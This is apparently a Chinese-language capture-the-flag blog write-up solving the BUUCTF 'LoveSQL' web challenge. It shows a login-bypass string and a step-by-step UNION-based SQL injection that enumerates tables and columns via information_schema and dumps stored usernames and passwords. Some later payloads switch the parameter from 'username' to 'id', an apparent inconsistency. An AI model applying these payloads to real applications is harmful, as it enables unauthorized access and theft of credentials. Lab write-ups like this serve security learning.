[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

题目来源:buuctf

题目类型:web

涉及考点:SQL注入

1. 题目页面给了两个输入框

与之前相同,我们先随便输入数进去,获得回显页面:

我们直接使用万能密码登录:

只需用户名输入1' or 1=1#即可

原因是:

当用户名输入1,密码输入1' 时,发生报错

当用户名输入1'#,密码输入1' 时,不发生报错

因此密码输入部分相当于被注释掉了,随便输入什么都行

于是我们得到以下回显:

登陆成功,获得了密码的md5加密

2. 尝试解密无果,我们把重点回到注入上

  • 注意,我们需要将构造的payload进行url编码后再进行传入,后续我们在check.php中传入参数:
  • 先尝试一下union注入,即?username=1' union select database()#&password=1
  • 发现union注入是可行的,那么接下来就是union注入的一般过程

3. union联合注入

注意,以下给的payload不是url编码,需要自行转换

有关SQL注入的具体知识点请查看SQL注入

  • 判断字段数
?username=1' group by 3#&password=1

回显页面还是check.php,我们再尝试:

?username=1' group by 4#&password=1

报错了,因此判断字段数为3

  • 判断注入点
?username=1' union select 1,2,3#&password=1

很明显回显位是 2 和 3 了

  • 爆库名
?username=1' union select 1,2,database()#&password=1
  • 爆表名
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#&password=1

直觉判断flag应该在第二个表中,先去查看第二个表

  • 爆列名
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#&password=1
  • 获取表中数据
?id=1' union select 1,2,group_concat(username,'~',password) from l0ve1ysq1#&password=1

最终获取flag:

flag{6a1ae218-4095-408b-b097-3f6ea47beab6}

日期:2023.7.21

作者:y0Zero

posted @ 2023-07-21 09:38  y0Zero  阅读(536)  评论(0编辑  收藏  举报